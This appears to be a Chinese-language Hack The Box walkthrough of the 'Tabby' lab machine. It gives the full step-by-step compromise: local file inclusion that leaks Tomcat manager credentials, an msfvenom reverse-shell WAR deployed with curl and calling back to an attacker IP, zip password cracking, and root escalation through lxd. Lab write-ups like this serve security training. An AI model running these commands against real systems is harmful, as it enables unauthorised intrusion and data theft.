当前位置: 代码迷 >> 综合 >> HTB Walkthrough -- Tabby
  详细解决方案

HTB Walkthrough -- Tabby

热度:87   发布时间:2024-03-08 11:12:00.0

Tabby

信息收集

域名:

  • megahosting.htb
  • megahosting.com

端口:

  • 8080
  • 80
  • 22

megahosting.htb

URL Notes payloads
/news.php?file=statement LFI file=…/…/…/…/etc/passwd

8080

Points Notes
Web Sever Tomcat V9.0.31
Host Server Linux
default Tomcat home page /var/lib/tomcat9/webapps/ROOT/index.html (can read)
CATALINA_HOME /usr/share/tomcat9
CATALINA_BASE /var/lib/tomcat9
following the rules from /usr/share/doc/tomcat9-common/RUNNING.txt.gz (can read)
tomcat9-docs http://10.10.10.194:8080/docs/
tomcat9-examples http://10.10.10.194:8080/examples/
tomcat9-admin http://10.10.10.194:8080/manager/html & http://10.10.10.194:8080/host-manager/html (need userame and password)
Users are defined in /etc/tomcat9/tomcat-users.xml

80

  • Apache/2.4.41
  • Ubuntu

/etc/passwd 的内容,可以看到有两个值得关注的用户:tomcat和ash

自己跟着教程部署了一遍tomcat9
tomcat9的tomcat-users.xml会在安装目录的conf下
Tabby的tomcat的安装目录是/usr/share/tomcat9
通过fuzz,conf被改成了etc
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

读取页面源代码,发现host-manager的登录密码:tomcat:$3cureP4s5w0rd123!
登录

Get Shell

在tomcat的文档中找到关于远程部署war包的一种方法

http://10.10.10.194:8080/docs/manager-howto.html

用msf生成一个war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.52 LPORT=2323 -f war > shell.war

用curl把war上传到Tabby中
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war http://10.10.10.194:8080/manager/text/deploy?path=/tabby-shell

-u 后的参数 一定要用单引号

curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/tabby-shell/

路径最后要加反斜杠/

python3 -c "import pty;pty.spawn('/bin/bash')"

成功getshell了

tomcat --> ash

根据之前找到的用户信息,可以明确下一步是要提权为ash用户
在/var/www/html中发现一个跟ash相关的文件夹,里面只有一个zip跟ash相关

访问http://10.10.10.194/files/16162020_backup.zip,下载这个zip包
破解时需要密码,常规用fcrackzip尝试爆破
fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip -v
爆破出的密码是admin@it

su ash
cat /home/ash/user.txt

得到user的hash

ash --> root

查看ash用户的信息,发现这个用户属于不同的组别,其中有个lxd

通过Google到一篇lxd提权的文章:看我如何利用LXD实现权限提升

跟着文章的内容,一步一步往下走

https://github.com/saghul/lxd-alpine-builder/issues/1
cd lxd-alping-builder
./build-alpine

btw,这里可能会出问题,issue里面有解决方法,可以参考参考

在自己的操作机中开启python的http服务
python -m SimpleHTTPServer

然后在Tabby中执行下面步骤
wget http://10.10.14.52:8000/alpine-v3.12-x86_64-20201023_0314.tar.gz
lxc image import alpine-v3.12-x86_64-20201023_0314.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true

如果出现了下图的问题,可以参考这篇文章:https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/

执行 lxd init
所有设置均默认,执行完毕后,问题可以得到解决

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

cd /mnt/root/root

总结

  1. Tomcat定义host-manager和manager用户的路径:/安装路径/conf(or etc)/tomcat-users.xml
  2. 注意看文件夹的用户属性
  3. lxd提权

附加

  1. 什么是lxc和lxd
    lxc,linux Container,是一种轻量级虚拟化技术,lxc可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
    lxd,Linux Daemon,是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的。

参考链接

  1. https://zhuanlan.zhihu.com/p/143981355
  2. https://www.freebuf.com/articles/system/216803.html
  3. https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/
  4. http://jimolonely.github.io/2019/08/20/server/009-tomcat9-doc-5-manager/